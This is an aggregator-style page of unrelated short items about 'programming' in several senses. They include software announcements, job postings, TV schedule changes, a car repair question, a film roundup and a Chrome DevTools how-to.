Two months ago, we launched the analyzer for the Go programming language in a public beta. Since then, prominent open-source projects like Dgraph, Gauge, and many others have adopted DeepSource to enable continuous quality and security on their code. With features and fixes based on the feedback we received from early adopters, we are pleased to announce that the DeepSource's Go analyzer is now generally available. Read on to know all the details.
          

Answered: Where can I find CCIMX6UL MCA firmware releases?

 Cache   
it's on main cc6ul documentation page:
https://www.digi.com/support/productdetail?pid=5619&type=documentation
expand section:

Development Software and Sample Code

scroll down to:

ADDITIONAL FIRMWARE
ConnectCore 6UL System-on-module MCA firmware (v1.13)
ConnectCore 6UL SBC Pro I/O Expander firmware (v0.02):
.BIN file (firmware file for programming via firmware updater application)
          

Upcoming children’s programming changes for Dec. 07

 Cache   
Due to CW33 KDAF-TV airing the live broadcast of the 31st Annual Dallas Holiday Parade, adjustments to previously scheduled children’s programming are occurring on Dec 07, 2019. Please see the details below. For a complete broadcast schedule, visit here. Next week’s Chicken Soup For The Soul’s Animal Tales on 12/07/19 @ 10AM will be moved to later in the day @ 3PM on 12/07/19. Did I Mention Invention on 12/07/19 @ 1030AM will be moved to later in the day […]
          

List of the Top 10 News Apps for Smartphones and Tablets

 Cache   
Like the TV channel and programming, this free Android application will in general give its report from the more moderate perspective and range. FOX News furnishes clients with the most recent news and updates from the individuals behind the FOX News キュリーナ. You can control the quantity of channels and the kind of news things […]
          

Web Administrator | ASGE

 Cache   
Downers Grove, IL, Requirements Bachelor’s degree in Web programming, content communications, marketing or related field required Minimum of five (5) years web-related and IT experience managing multiple projects
          

Announcing App Development with Swift Certification

 Cache   

As you prepare your students for a future driven by technology, teaching them how to code is critical. It opens new doors to potential careers and helps prepare them for college. Starting this school year students can earn App Development with Swift certification through Certiport based on the free App Development with Swift course from Apple. Level 1 certification recognizes knowledge of the Swift programming language, app developer tools, and core components of apps, and can be offered by any Certiport Authorized Testing Center that has purchased access to it.*  Students who pass the exam will earn a digital badge to showcase their achievement on a resume, portfolio, email signature, or career networking site.

 

Learn more about App Development with Swift certification at Certiport.com >

*Additional terms may apply; see the Certiport website for more information.


          

database platform for mac

 Cache   

what are the databases and programming languages in mac similair to windows. do we have something like visual foxpro or xbase programming


          

This Week at the Library...

 Cache   
Happy Thanksgiving! We are so grateful to our amazing patrons who make our library so incredible! Thank you!Even with the holiday, we still have some top notch programming happening here at NMPL that you are NOT going to want to miss! First up, Evening Tales will be making Pipe Cleaner Animals on Monday at 6pm and we have TWO Storytimes planned for Tuesday! Please note that the library will be closing at 5pm on Wednesday, but prior to that, we have Turkey Trouble from 10am to 12pm, Welcome to Yo [...]
          

How Teachers Spend the Summer

 Cache   

At Snow Farm, we know exactly what teachers want when summer vacation rolls around:  time to focus on personal passion and creativity, peace and quiet, and some painless professional development points. 

I love my job and I wouldn't change it, but teachers have quite a bit of stress placed on them, from all sides, on a daily basis.  My week at Snow Farm last summer was wonderful . . . I was able to focus, make art again, and just take time for me, to be me.     High school art teacher, Springfield, MA

For the first time, we are offering a late June, early summer, Art Retreat for Educators. Choose one of five workshops and spend three days up to your elbows in making whatever YOU want.  Enjoy six hours of hands-on studio time each day and open studio in the evenings. Optional special programming such as artist talks, craft demonstrations, and an exhibit of student work will bring people together throughout the weekend to share ideas. Take in the peaceful New England landscape, breathe, and relax.  Professional development and personal artistic growth - what's not to love?  

Be a student, and let one of these folks be your teacher:

melanie mowinski, artist, multi-media Melanie Mowinski teaches Mixing Media, Playing With Words:  A Daily Practice.  She says, "Explore different ways of establishing a daily creative practice, from visual responses to written texts to timed creative challenges using new and favorite materials."

mixed media assemblage, BZ Reily, snow farm
BZ Reily invites you to "playfully recycle and re-invent common items, collections, photos, memorabilia and found objects into 3D sculpture or a wall piece with personal meaning" in her class called Assemblage Memory Boxes

Ceramics. Kathy KingKathy King, Director of the Ceramics Program at Harvard, wants to talk and tell stories - in clay.  She'll teach how to "incorporate personal imagery and storytelling through carving slip-colored clay, and using transfer techniques."  Students can bring leather-hard work or use tiles provided to join this conversation.

Glass. Sam Myers Sam Myers is teaching the Sacred Art of Painting on Glass.  Sam says, "In this fun class, students will learn the basic painting techniques that have been used since medieval times, primarily for church windows." Take home a finished 11 x 12 stained glass panel.

paper sculpture, fafnir adamites Fafnir Adamites taught the fiber workshop in the Snow Farm Summer program for high schools. With a good sense of that age group, she can help teachers think about how to translate her Fibers Bootcamp into a school setting.  Fafnir is creative, experimental and fun! 

 

 

 



Here's a glimpse of your weekend. NOTE: Arrival on Friday, June 22 is flexible.  If you have end-of-school obligations, feel free to arrive on Saturday morning.  Just let us know - so we don't worry.  

Austin, TX jobs

          

ABA Intern - Communications and Outreach, WAGE

 Cache   
ABA ROLI's WAGE Program requires an unpaid intern to support the WAGE Consortium's communications and outreach efforts. Among others responsibilities, the intern: Supports WAGE and its programming to advance the status of women and girls across the globe. Creates, designs, edits, and produces...
          

NO HEAT OR AC

 Cache   
I recently purchased a 2003 Jaguar X-Type with around 149,000 miles on it. It is a second car designed to get me to the golf course while not leaving my wife stranded. I love the car, but don’t want to spend a lot of money on it. I should also point out that I am not a great mechanic. When I got the car, the battery was dead, the heater didn’t work and the air conditioning was marginal. I replaced the battery and had to reset the clock, but was not required to enter the radio code. In an attempt to restore heat, I replaced the thermostat. The thermostat was indeed broken. Replacing this did not restore the heat. I also lost one of the thermostat housing bolts, probably into the coolant hose below the thermostat. I probed inside the hose with a magnet but was not able to find it. In an attempt to beef up the air conditioning I added coolant. While doing this I misread the pressure dial. I thought that the red area on the dial meant low pressure and kept adding more. (As I said, I’m not a great mechanic.) I’ve since been releasing pressure through the low-pressure outlet using the hose that came with the coolant can. The AC compressor clicks on every time and the clutch is working properly. I’ve also tried a programming routine for restoring AC after a battery replacement that I saw on YouTube and have run the trip odometer codes. The only relevant code seems to be dtc d900. I’ve also tried to reboot the car’s computer but that hasn’t seemed to help. I’m about ready to take the car in to a real mechanic. (Probably what I should have done in the first place.) Any other ideas?
          

Director of Hotel Sales - The Westin Los Angeles Airport - (19165257)

 Cache   
 Here’s To Your Journey with Westin At Westin, we are committed to empowering the well-being of our guests by providing a refreshing environment, thoughtful amenities, and revitalizing programming to help ensure that they leave feeling better than when they arrived. We recognize that travel can be disruptive to our guests’ well-being, and we’re energized to assist as partners in helping them maintain control and soaring above it all while on the road. Everything we do is designed to help... DOE
          

Assistant Restaurant Manager - The Westin Kierland Resort & Spa - (19165870)

 Cache   
Here’s To Your Journey with Westin At Westin, we are committed to empowering the well-being of our guests by providing a refreshing environment, thoughtful amenities, and revitalizing programming to help ensure that they leave feeling better than when they arrived. We recognize that travel can be disruptive to our guests’ well-being, and we’re energized to assist as partners in helping them maintain control and soaring above it all while on the road. Everything we do is... DOE
          

Focus 75 Programming

 Cache   
Focus 75 Programming
          

Presentation: Adventures in Programming, Automating, Teaching and Marketing

 Cache   

Alan Richardson discusses lessons learned from writing commercial and open source tools, multi-user adventure games, REST APIs, test automation, and automating applications.

By Alan Richardson
          

Oi Mc Programming

 Cache   
Oi Mc Programming
          

TBT - Evan Peikon on Why We Need To Throw Out Traditional Endurance Training

 Cache   
Back by popular demand and ready to drop a nuclear bomb of knowledge on his own solo show. Evan dives into why our old conditioning models are broken and what the new science and programming is doing to create the fittest athletes in the world.


Ask Questions on Instagram

Subscribe for email Updates

          

Marketing Services Coordinator

 Cache   
FL-Miami, MARKETING SERVICES COORDINATOR Responsible for preparing linear and VOD materials for distribution to carriers. ESSENTIAL DUTIES AND RESPONSIBILITIES Prepare HD materials for monthly premiers including hi-res images. Write short synopses in English and Spanish for all titles. Edit programming according to production guidelines. Includes VOD promos and Instagram teasers. Q/C close captioning & subt
          

Pc 5010 Programming

 Cache   
Pc 5010 Programming
          

Programmer/developer position 50% at the University of Basel

 Cache   

Programmer/developer position 50% at the University of Basel

The French Studies Seminar at the University of Basel is looking for a self-sufficient and motivated IT technician (50%) to join the group « Le Rire des vers – Mining the Comic Verse » led by Anne-Sophie Bories and funded for 5 years by a PRIMA grant from the Swiss National Science Foundation (SNF) .

Profile

Essential :

  • Master’s Degree (or equivalent) in IT,

  • Thorough knowledge of XML and related technologies (XSL, XPATH, XQUERY), as well as web development, both backend (e.g. SQL, eXist-db) and frontend (HTML, CSS, javascript),

  • Excellent ability to find practical and creative solutions,

  • Ability to learn new programming languages to fit needs,

  • Genuine curiosity for social sciences, literature or linguistics,

  • highly self-sufficient,

  • team worker with an inclination for initiative.

Desirable:

  • basic knowledge of python and of NLP,

  • interest for machine-learning, machine-reasoning, RDF, web ontologies,

  • ability to share their knowledge.

Language skills:

  • EITHER excellent mastery of English as working language and some knowledge of French,

  • OR excellent mastery of French as working language and some knowledge of English.

Responsibilities

  • assist team members in developing and maintaining tailored processes for efficient text- mining,

  • maintain the team’s databases and guarantee their remote access,

  • interact with other scientific teams in the context of collaborations,

  • guide team members in the acquisition of new IT skills,

  • create and maintain the project’s website.

Conditions

One-year contract, renewable for 4 years,
part-time: 50% (21 hours/week, flexible work hours),
5 weeks of paid holiday per year,
Salary in the region of 42’000 Swiss francs per year.

Project

The research project “Le Rire des vers – Mining the Comic Verse” is supported by the Swiss National Science Foundation through a 5 year PRIMA grant awarded to Anne-Sophie Bories. Beside the latter leader, the team will count 2 doctoral candidates and 1 IT technician (50%), and will form part of the French Studies Seminar at the University of Basel. The group will focus on the mapping, analysis and interpretation of both humour and versification in a corpus of modern texts, combining literary analyses with digital humanities methods.

Application

Complete applications should be sent as one single pdf file to Anne-Sophie Bories (a.bories@unibas.ch) and should include:

  • - cover letter,
  • -  cv,

  • -  copy of Master’s Degree,

  • -  1-2 samples of code, or link to a realisation (mention precisely which part or parts of the code were written by the candidate),

  • -  identity document,

  • -  recommendation letter, or certificate from previous employer.

Applications can be submitted in French or English. Candidates still in the final stages of their studies may apply if they can present their official degree by the end of 2019.

Start of contract: as soon as possible
Contact : Dr. Anne-Sophie Bories (a.bories@unibas.ch).


          

Personal Trainer/Fitness Instructor - AD Bungee Fitness - Sutton, ON

 Cache   
We are launching a new fitness concept to the Georgina community and to Canada – can you to help us develop and deliver new programming and be part of an… $30 - $35 an hour
From Indeed - Sat, 09 Nov 2019 01:43:53 GMT - View all Sutton, ON jobs
          

Spyder Programming

 Cache   
Spyder Programming
          

Health Careers Program Coordinator

 Cache   

Gateway Community and Technical College invites applications for the part-time position of Health Careers Program Coordinator for The North Central Area Health Education Center (AHEC).  The position is responsible for planning and implementing a variety of programs designed to inform and interest high school and college students in health careers.  

Duties:
  • Develop relationships with school personnel in targeted schools for the purpose of facilitating health career programming.
  • Develop relationships with college and university personnel for the purpose of promoting AHEC Scholars.?
  • Plan and implement after-school health career programming including summer camps, the Health Career Explorers program, AHEC Scholars, school presentations and the annual Health Career Showcase
  • Participate in KY AHEC Statewide meetings and constituency group meetings when scheduled.
  • Participate in NC AHEC staff meetings and other meetings when scheduled.
  • Collaborate with the UK AHEC Program Office and other regional AHEC offices, to provide and share effective and innovative health career programming
  • Maintain statistics and records of all programs provided including entering data in the AHEC Navigator database and U of L Med App databases
  • Assist programs and staff at Gateway Community and Technical College to advance recruitment, growth and development of health career programming.
  • Other duties as assigned.    
Required Qualifications
  • Bachelor's degree in a health career, or teaching degree with an emphasis on science or health education or equivalent.
  • 1 year of relevant experience.
  • Willingness to travel including occasional overnight travel.
  • Excellent writing skills.
  • Personable, energetic, motivated, hard-working, disciplined
  • Commitment to diversity, equity, and inclusion.
  • Experience in and understanding of the importance of working with students from diverse populations. 
  • Excellent organizational skills; high attention to detail; independent; self-motivated; able to work in a fast-paced, changing environment. 
  • Excellent interpersonal skills; ability to communicate with many individuals at all levels throughout the internal college environment as well as external business and community partners, representing his/her self in a professional and courteous manner.
  • Ability to communicate clearly in writing and verbally.
  • Ability to multi-task, work under deadlines, and prioritize projects to meet deadlines with high levels of efficiency and accuracy. 
  • Must have proficient computer skills in Microsoft Office (Word, Excel and Outlook)

Preferred Qualifications

  • Master's degree in a health career, or teaching degree with an emphasis on science or health education or equivalent.
  • 3 years of relevant experience
  • Experience in and understanding of the importance of working with students from diverse populations. 
  • Experience working at the community college level.
Anticipated start date: January 2020

**Grant Funded Position**

Gateway Community and Technical College is located in Northern Kentucky - part of the Greater Cincinnati Region

Gateway Community and Technical College is Northern Kentucky’s only public, accredited, comprehensive two-year institution. Gateway offers high-quality, targeted education to meet the personal and professional needs of students, and contribute to the economic development of the region.

More information about AHEC can be found: http://www.northcentralkyahec.org/


          

Hospitality and Venue Coordinator

 Cache   

City of Fairfield                                                                  

Position Description

 
Position Title:                          Hospitality and Venue Coordinator
 
Reports to:                              Arts & Hospitality Superintendent
 
Summary/Purpose:
 
This position will coordinate, sell and supervise private and public events as well as meeting functions at the Community Arts Center, Golf Courses, Aquatic Center, Elisha Morgan Mansion and other Parks and Recreation Department facilities.  Providing hospitality services including concessions, food and beverage services related to operational and rental functions of the Department will also be the responsibility of this position.  Incumbent will work irregular work hours/shifts, including frequent evenings and weekends.
 
Duties/Responsibilities:
           
  • Plan, direct and manage the daily operations related to hospitality services within the Parks and Recreation Department.
 
  • Assist with the management and oversight of all associated aspects of the hospitality and venue services including:  inventory (ordering/delivery); assist with master events calendar; ensure permits/licenses, cleaning schedules, labor schedules, health department inspections and equipment maintenance/repairs. Provide exceptional customer care and introduce timely new services. 
 
  • Participate in the selection of and oversee all associated staff, providing clear direction, guidance, and discipline as necessary. 
 
  • Conduct Banquet Event Order (BEO) meetings on a weekly basis with key hospitality and facility maintenance staff.
 
  • Provide training and maintain records thereof for Bartenders, Facility Attendants and all staff associated with the hospitality and venue operations within the parks and recreation system.
 
  • Provide on-site supervision of staff during private and public events.  Coordinate amongst hospitality staff, programming staff and clerical staff to maximize seamless customer service to guests and clients.  Handle complaints as necessary.
 
  • Meet with clients, as necessary, to determine individual event requirements, including venue selection, audio visual arrangements, and food and beverage in conjunction with their event.  Direct workers in preparing venue including seating, displays, exhibits, etc.
 
  • Promote an atmosphere of exceptionally high customer service standards between hospitality staff and clientele.  Communicate clearly and effectively in casual and high-pressure situations. 
 
  • Control and analyze, on an on-going basis, sales, costs and marketing activities.
 
  • Remain current on market trends.  Provide frequent analysis of performance, budget and benchmarking.
 
  • Maintain product and service quality standards by conducting inspections, evaluations and follow-up customer surveys.
 
  • Monitor and periodically inspect the area where work is performed in order to identify potentially dangerous or altered conditions that affect safety and need to be addressed.  Ensure that rules and regulations are posted at sites under his/her supervision.
 
  • Develop, recommend and implement long-range planning activities for the areas of responsibility.  Prepare reports for management as required.
 
  • Coordinate activities with other Parks and Recreation divisions, other City departments and outside agencies/groups.
 
  • Participate in meetings, training, seminars, events, etc., as appropriate. 
 
  • Perform all duties in a safe manner and must comply with applicable Federal, State and local rules and regulations.
 
  • Perform all other duties, as assigned.
 
Requirements/Qualifications:
 
Five years professional experience, with at least one year in a supervisory position. Undergraduate Degree in Hospitality Management, Business Administration, Marketing, Recreation Administration, Leisure Studies or related field preferred.  Must be customer/client focused, with excellent collaboration and problem solving skills and creativity. Requires effective oral and written communication skills.  Valid driver’s license.
 
Physical and Environmental Requirements:
 
Generally active physical effort required to do office and general facility tasks and activities (indoor and outdoor) frequently being exposed to extreme outdoor temperatures, airborne particles and loud noise levels in the work environment.  Required to sit, stand at files, bend, stoop, lift, carry, crouch, crawl, climb and walk.  Maximum unassisted lift is 50 lbs., average lift approximately 10 lbs.  Requires ability to use keyboard, monitor and calculator and other office equipment as well as equipment for recreational activities.  Requires ability to communicate verbally in person and via telephone.  Requires travel by car, driving locally and to distant sites. 
 
Approvals:
 
Immediate Manager: ______________________________________________________ Date: _______________________
 
Appointing Authority: _____________________________________________________ Date: _______________________
 
Human Resources Manager: _______________________________________________  Date: _______________________
 
Civil Service Commission: _________________________________________________  Date: _______________________
 
 
This description is not intended to be an exhaustive list of all responsibilities, skills, efforts, or working conditions associated with the position.  It is instead a description of the essential elements of the position that are needed for recruitment, placement, orientation, training, competency assessment, classification, compensation determination and other Human Resources actions.
 
 

          

Application Programmer

 Cache   
NJ-Pennington, Genesis10 is currently seeking an Application Programmer with our client in the financial industry in their Pennington, NJ location. This is a 12 month + contract position. Description: Application developer/designer to maintain and enhance existing SharePoint-based web application Correction and improvement of programming and configuration through correction of defects identified by product owner
          

Organize a dev group with new talented freelancers

 Cache   
Category: CSS, HTML, Javascript, PHP, Web Design
Budget: $15 - $25 USD

Only new freelancers are needed. The others are ignored! Skills Requirement: - Business Management - Project Management - Data Entry - Some knowledge of programming (C/C++, C#, PHP, Javascript, HTML,...
          

Javascript form - display values on page

 Cache   
Category: Programming & Development

Description: I need someone to make this page functional: https://www.naturallyagedflooring.com/email/signatures...

          

Need Technical support for dashboard creation

 Cache   
Category: Javascript, Python, R Programming Language, Tibco Spotfire
Budget: $30 - $250 USD

Hello Everyone, I am looking for someone who is an expert in Data Analysis and various technologies like Python, SQL & Tibco Spotfire (BI). One who is expert in implementing customized features in Tibco Spotfire using iron Python, Javascript and R...
          

Javascript Expert

 Cache   
Category: Programming & Development

Description: I am looking for freelancers who are expertised in javascript.Feel free to apply to this job if you...

          

PHP, Javascript, SQL Booking Website

 Cache   
Category: Programming & Development

Description: I'm looking for someone, or some people, who can build a property booking website with PHP, Javascr...

          

Ac500 Plc Programming

 Cache   
Ac500 Plc Programming
          

Using IntervalTimer in Subclass: programming issue

 Cache   
Hello, I have a problem with using IntervalTimer in a class. I know this problem is entirely based on my missing experince with C++, and I hope...
          

Unanswered Concerns on Northwestern Computer Science You Need to Know About

 Cache   
Northwestern Computer Science Some degree programs provide the occasion to specialize in areas like software development. Designing systems to detect trolling and individual attacks in internet forums, or to determine suicidal ideation on social networking, are different examples of purposeful programming. Strong attention to detail is critical to be certain that software isn’t only effective, […]
          

CNN celebrates a decade in Abu Dhabi and eyes expansion in UAE

 Cache   

CNN is celebrating the tenth anniversary of its Middle East hub in Abu Dhabi and looking ahead to expansion plans at the network's key newsgathering, production, broadcasting and commercial centre. November marks a decade since CNN first went on air live from Abu Dhabi.  Since then it has increased its footprint in the Emirate, made Abu Dhabi one of its major international hubs, and introduced a range of new programming, while reporting on an extraordinary decade for both the UAE and the...

Read the full story at https://www.webwire.com/ViewPressRel.asp?aId=250762


          

IT / Software / Systems: CRM Developer - Fort Worth, Texas

 Cache   
LOCAL CANDIDATES ONLY CERTIFICATIONS : ( NOT MANDATORY, BUT PREFFERED) MB2-716 Microsoft Dynamics 365 Customization and Configuration CORE COMPETENCIES: Languages C#, JavaScript, XRM Framework .NET C#, Plugin Development, Custom Workflows, Console CRM Technologies Microsoft Dynamics 365, CRM SDK, Power Apps, Unified Interface, Model Driven Apps CRM Development CRM Client-side customization, Server-side customization, CRM Administration Security Roles, CRM Solutions, System Jobs, Debugging, Monitoring Web Servers Windows IIS, Azure, Azure DevOps Version Control GitHub IDE Visual Studio 2017/2019 Operating Systems Windows 7/10 Concepts Object Oriented Programming, JavaScript Functions Development Tools Visual Studio 2017/2019 Methodology Agile - Scrum Top 3 to 5 skillsets / yrs. of experience Over 8 years of IT experience in software Design, Development, Maintenance, Enhancement and Production Support in Microsoft Technologies Very Strong Experience in Microsoft Dynamics CRM Customization & Configuration in 2016/D365 versions Experience in DevOps CI/CD, Azure DevOps , YAML and PowerShell scripting Convert Business Requirements into CRM customizations and solutions Experience in DevOps Toolchain methodologies, including Continuous Integration and Continuous Deployment Azure, Microsoft Flows and Power Platform Experience in external CRM Integration with Marketing Automation Platforms - Oracle Eloqua Preferred Experience with OOPS, C# Programming, .NET Development, Web Services and utilizing CRM Libraries Experience in CRM Client side development - JavaScript, XRM Functions, and Business Rules Experience in Server side development - Business process flows, Workflows, Custom Workflows, Plugins Experience working with CRM SDK Library and CRM Web APIs Experience with Unit testing and Automated Testing using EasyRepro UI Experience CRM customization in Sales, Customer Service & Marketing Modules Experience in CRM Administration - Security Roles, Solution Management, System Jobs, User Experience with CRM Tools - XRMToolbox, Plugin Registration, CRM Rest Builder etc. Experience customization in new CRM Unified Platform & Model driven apps Travel and Transportation Domain experience is a plus Experience in version control tools like SVN, GitHub Nice to have - ETL and Data load experience into CRM with Informatica Cloud Nice to have - CRM Portals Development experience ()
          

Hold Your Loved Ones Close This Holiday

 Cache   
.
This is a very short week! I didn't get everything done this very short week that I wanted to, including writing a proper review of Knives Out, which is out in theaters today and which I can't seem to summon more to say about than just "It's a ton of fun, you should see it!" I mean that. I do, and you should. It's just 1) a movie it's hard to write about because it's an endless series of twists that even just talking about the twists existing feels spoilery, and 2) it's fluff I will eventually watch ten times but doesn't really inspire a lot in the terms of words out of me.
.
.
It's a terrific Movie Movie, full of movie stars having fun and clever misdirections and fun sets and costumes, but I don't really know what to say about it beyond that. I mean that, by the way, is plenty. All of those things add up to plenty! But I can't say I feel particularly passionate about Knives Out -- the thing that's most noticeable about it I guess is that it feels so Old Fashioned now, an original story coming from a big studio on a holiday weekend that's full of fresh characters and good actors, so that should be the thing that gets your ass to the theater for it. You won't be disappointed. 

Spectacularly moved? Probably not. For that you should still check out Marielle Heller's Beautiful Day in the Neighborhood if you haven't already, which didn't do great at the box office when it was released over this past weekend but will presumably still be in a ton of theaters this week for the holiday. I reviewed that right here and yes that is the sort of movie that will get me rambling endlessly. One of the year's absolute best.

Your other best options are Martin Scorsese's The Irishman, which just hit Netflix (read my NYFF review at The Film Experience) and I'll also recommend, if you're in New York, the Guatemalan flick Temblores, which is about a closeted gay man whose ultra-religious family refuses to let him find happiness. It's opening at the Quad (and PS its gorgeous lead actor Juan Pablo Olyslager will be there for Q&As) and the film's a rough sit emotionally but worth checking out for what feels like an honest view of the uphill battle we still face in many places. (Including here in the US for too many!) It's some perfect anti-Thanksgiving programming -- family can truly suck.

The other two films out this weekend, The Two Popes (reviewed here) and Queen & Slim (reviewed here), I wasn't nuts about them to put it mildly, but other people seem to be so who knows where you'll fall. If you see any of these, or anything else worth telling me about, let me know your thoughts in the comments! And have a Happy Thanksgiving, go get good and stuffed...
.

          

Training for WUGC Calendar Overview

 Cache   
Over the course of the year, we’re moving through different phases of training in order to give your body an appropriate stimulus and get you ready to perform your best for the end of your competitive season. Here’s an overview of the phases: If you jump in with our programming at the beginning of the […]
          

7100 Programming

 Cache   
7100 Programming
          

Programming Languages?

 Cache   
none
          

ETSI TS 102241-V14.2.0 Smart Cards; UICC Application Programming Interface (UICC API) for Java Card (TM) (Release 14)

 Cache   
Cena: 42.00 EUR

          

ETSI TS 102241-V15.2.0 Smart Cards; UICC Application Programming Interface (UICC API) for Java Card (TM) (Release 15)

 Cache   
Cena: 42.00 EUR

          

ETSI TS 102241-V16.0.0 Smart Cards; UICC Application Programming Interface (UICC API) for Java Card (TM) (Release 16)

 Cache   
Cena: 42.00 EUR

          

How to inspect AJAX requests with Chrome tools

 Cache   

The Deskpro interface uses a web programming technique called AJAX to allow the pages to update dynamically without the need to refresh the whole page.

Sometimes a Deskpro support agent may ask you to inspect individual AJAX requests to help diagnose a problem.

Here's how to do this:

1. Use the Chrome web browser.

2. Open the Deskpro interface where there's a problem.

3. Within the Chrome menu system, select More tools > Developer tools.

4. When the developer tools console opens, click on the Network tab, then click XHR below.

5. You can now see the AJAX requests. The Deskpro agent has probably told you some steps to take and a particular request to look for. Click on an individual request to see the request details, which you should copy and send to Deskpro.

 

 


          

Training Specialist - US Department of Veterans Affairs - Sheridan, WY

 Cache   
The Training Specialist develops and implements educational programming for the Sheridan VA Healthcare System (SVAHCS), as it relates to Business Processes,… $51,440 - $66,868 a year
From usajobs.gov - Thu, 28 Nov 2019 03:54:27 GMT - View all Sheridan, WY jobs
          

Comment on 0.2 — Introduction to programming languages by Pardip Lal

 Cache   
Knowledgeable information but required more on assembly language.
          

Campus Pastor

 Cache   

Welcome to Port City Church!

Who we are:
Port City Church is a growing, modern, gospel-centered church on mission that is passionate about reaching the next person for Jesus.  We recently finished a large Vision Campaign to position ourselves to help practically meet the growing needs of our community (www.weareportcity.com/what-if).

Only a few miles from the amazing sandy shores of Lake Michigan, there are lots of things to do with your family - anything from shopping at the farmers market, hiking the dunes, biking, beaching, and camping.

Position Profile:
In October, we launched out our Campus Pastor to start a new Port City Campus to reach the Nims, Lakeside and Glenside neighborhoods of Muskegon.   We’re now searching for a new Campus Pastor who will serve alongside our Lead Pastor at our original campus.  

We are committed to bringing on the next individual who brings passion, experience, quality, and an uncompromised approach to lead the execution of the strategy, values, and vision of Port City.

Skill Set:

-Must possess effective discipleship, leadership, administrative and equipping skills
-Demonstrates a passion for people
-Experienced communicator    
-Ability to manage a high-functioning team of volunteer leaders

Responsibilities:

Congregational Care 
-Oversees overall assimilation process of visitors into the life of the church from first visit, to baptism, to small group participation 
-Leads and fosters mission-focused small groups as a primary means of member care networking
-Provides general counseling and care of members as needed 
-Facilitates membership classes 
-Officiates weddings and funerals

Administration
-Maintains comprehensive knowledge of campus systems and protocols 
-Communicates and collaborates with ministry leadership and staff as needed 
-Tracks campus health and progress 
-Conducts strategic planning and implementation 
-Oversees campus budget, supervises and directs ministry staff, support staff, and custodial services
-Integrates and evaluates standards of excellence in campus programming 

Teaching/Mentoring
-Leads, develops and manages campus staff and volunteers
-Preaches at least monthly as part of the Port City Teaching Team

 

Education: 
The right candidate will have a four-year bachelor's degree from an accredited college/university. Preference is given to a pastoral or other ministry-related degree. 

Experience: We expect our Campus Pastor to have at least 5 years of ministry leadership experience.   

 

If you sense that you may be the right individual for this position, please DO NOT click on the link below. Send an email directly to portcitycampuspastor@gmail.com and include:


* Cover letter

* Resume with photo of you and your family (if applicable)

* Links to 2-3 videos of you teaching  

 


          

Associate Pastor/Director of Youth Ministries

 Cache   

Summary:  To create, nurture and lead a ministry for middle and high school students (Grades 6-12) that fosters a growing relationship with Jesus Christ; ensures a consistent, Christ-centered biblical ministry that guides students in building a healthy, growing, and lasting faith in Jesus Christ; to implement a youth program that includes but is not limited to fellowship, worship, biblical teaching, discipleship, mission, and ministry opportunities. Providing ways to help students Know God, Love One Another and Serve the World.

Accountability:  The Associate Pastor/Director is an employee of Grace Community Covenant Church. He/she reports to the Lead Pastor. He/she is expected to accept the central beliefs of the Evangelical Covenant Church (ECC); to comply with all policies and procedures adopted by the Leadership Team, and to support the ministries and activities of the church.

General Responsibilities:

The Youth Ministry at Grace provides a place where students can know, understand, and grow in God’s love. It is understood that building and maintaining positive relationships with students is an essential part of all Youth Ministry activities.

  1. Introduce middle and high school students to a living Savior, our Lord Jesus Christ, through teaching the Christian truths of the Bible and to pursue a conscious dependence on the Holy Spirit.
  2. Encourage middle and high school students to have a personal relationship with Jesus and to nurture a growing and dynamic faith by teaching them the basic disciplines for Christian growth including but not limited to prayer, worship, Bible study, discipleship, mission, fellowship, and service.
  3. The Associate Pastor/Director will be responsible for all aspects of the Youth Ministry program. Delegation of responsibilities assumes that the Associate Pastor/Director will continue to be knowledgeable of all matters pertaining to the youth and will provide direct guidance into the planning and implementation of the program.
  4. Plan personal time for spiritual growth. This can include things like participation in a small group that can offer support, Bible study, feedback, and spiritual nurturing. To seek counseling, spiritual direction and/or leadership coaching when needed.
  5. To be a healthy team player, who is collaborative with others, willing to receive and offer feedback that is helpful to the overall culture of leaders, staff and the congregation and will demonstrate an ability to work with other staff and volunteers in a positive and supportive manner that builds teamship.

Specific Responsibilities:

  • Research and provide a biblically-based, age-appropriate curriculum for teaching that will allow students to grow in their faith (e.g. Sunday School or equivalent).
  • Create a relevant and engaging atmosphere that will reach students with a goal of helping them grow into a committed follower of Christ (e.g. Youth Group or equivalent).
  • Keep current on the culture and how to connect with students.
  • Develop and coordinate a small group/spiritual formation ministry for youth. Recruit, train, empower and support adult volunteers to lead small groups for students.
  • Recruit and coordinate a team of teachers to lead Sunday School, Youth Group, and Confirmation classes. (It is understood that the Associate Pastor/Director will also be involved in teaching these classes.)
  • Recruit, empower and support other volunteers serving in Youth Ministry.
  • Plan and manage all special events for middle and high school students (CHIC, retreats, camps, etc.).
  • Work with the Missions Committee to plan mission trips and outreach activities.
  • Oversees procedures for managing and reviewing background checks for all involved with the Youth Ministry program. Work with Youth Ministry staff, volunteers, and others in ministry to ensure all are knowledgeable and adhering to the protection and abuse, safety and security policies.
  • Plan for and maintain contact with the parents through (including but not limited to) emails, newsletters, mailings, phone calls, etc. Hold informational meetings for parents as needed.
  • Provide an annual Youth Ministry budget recommendation to the Lead Pastor and Leadership Team. The Associate Pastor/Director will be responsible for overseeing the approved Youth Ministry budget; he/she will oversee all ministry specific purchases, distribution, and use of all equipment and supplies for Youth Ministry programming.
  • Pray regularly for Youth Ministry staff, volunteers, and programs.
  • Report to the Leadership Team updating them on ministry goals, objectives and/or work-related activities.
  • Communicate regularly with the Lead Pastor and other ministry leaders to ensure complementary and consistent ministry focus.
  • Work with other ministries in helping transition from Children’s to Youth to Young Adult.
  • Coordinate with the Lead Pastor to schedule Youth Ministry participation in the leadership of Sunday worship services and other services.
  • Assist with preaching as requested.
  • Meet regularly with the Lead Pastor for mentoring, growth and accountability and participate in all staff meetings as needed and/or requested.
  • Attend ECC conferences, retreats, activities, etc. as required and/or as time allows.

Work Schedule: This is a full-time position.

Requirements of the position:

  • A spiritually mature Christian with a strong desire and ability to minister to the needs of middle and high school students.

A preferred candidate has:

  • An advanced degree (Bachelors, Masters)
  • Previous Youth Ministry experience
  • Knowledge of or experience with the ministry of Young Life
  • Strong leadership skills
  • Strong communication skills and an ability to connect with students and parents in small and large group settings
  • Experience in leading groups including children, youth and adults
  • Ability and experience in faith sharing
  • Knowledge of available Christian Education Curricula and Teaching Resources
  • Experience and knowledge of legal responsibilities in working with youth
  • Able to use technology and social media to stay connected and engaged with students
  • Proven ability to work well with others, to collaborate and to give and receive feedback in healthy ways that encourage and protect an overall healthy culture among leaders, staff and the congregation.

          

Minister of Elementary Children

 Cache   

Minister of Elementary Children

Full-time, Exempt
Salary Range - $35,000-$40,000 (based on experience)
